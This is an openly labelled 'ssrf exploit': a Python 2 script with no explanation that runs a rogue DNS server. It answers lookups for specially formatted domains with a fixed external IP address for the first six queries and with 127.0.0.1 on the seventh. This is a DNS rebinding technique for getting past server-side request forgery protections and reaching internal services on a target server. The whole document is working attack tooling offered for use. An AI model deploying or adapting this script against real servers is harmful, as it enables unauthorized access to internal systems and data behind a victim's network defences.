ssrf exploit

import socket
from time import time

class DNSQuery:
    def __init__(self, data):
        self.data = data
        self.domain = ''
        self.qtype = 0

        opcode = (ord(data[2]) >> 3) & 15
        if opcode == 0:
            ini = 12
            lon = ord(data[ini])
            while lon != 0:
                self.domain += data[ini+1:ini+lon+1] + '.'
                ini += lon + 1
                lon = ord(data[ini])
            self.qtype = ord(data[12+len(self.domain)+2])

    def reply(self, ip):
        packet = ''
        if self.domain:
            packet += self.data[:2] + '\x81\x80'
            packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
            packet += self.data[12:12+len(self.domain)+5] # original question
            packet += '\xc0\x0c'
            packet += '\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04' # response type, ttl, resource data length (4 bytes)
            packet += ''.join(chr(int(x)) for x in ip.split('.'))
        return packet

if __name__ == '__main__':
    udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp.bind(('',53))
    i = 1
    try:
        while 1:
            data, addr = udp.recvfrom(1024)
            p = DNSQuery(data)
            # only IN A questions are supported
            if p.domain and p.qtype == 1:
                d = p.domain.split('.')
                # basic validation
                if len(d) >= 4:
                    if len(d[0].split('-')) == 4 and len(d[1].split('-')) == 4:
                        #ip = d[int(time()) % 2].replace('-', '.')
                        #print '%s' % (int(time()) % 2)
                        if i == 1:
                            ip = '185.224.137.101'
                        if i == 2:
                            ip = '185.224.137.101'
                        if i == 3:
                            ip = '185.224.137.101'
                        if i == 4:
                            ip = '185.224.137.101'
                        if i == 5:
                            ip = '185.224.137.101'
                        if i == 6:
                            ip = '185.224.137.101'
                        if i == 7:
                            ip = '127.0.0.1'
                        #ip = '192.168.0.1'
                        print '%s -> %s' % (p.domain, ip)
                        i += 1
                        udp.sendto(p.reply(ip), addr)

    except KeyboardInterrupt:
        udp.close()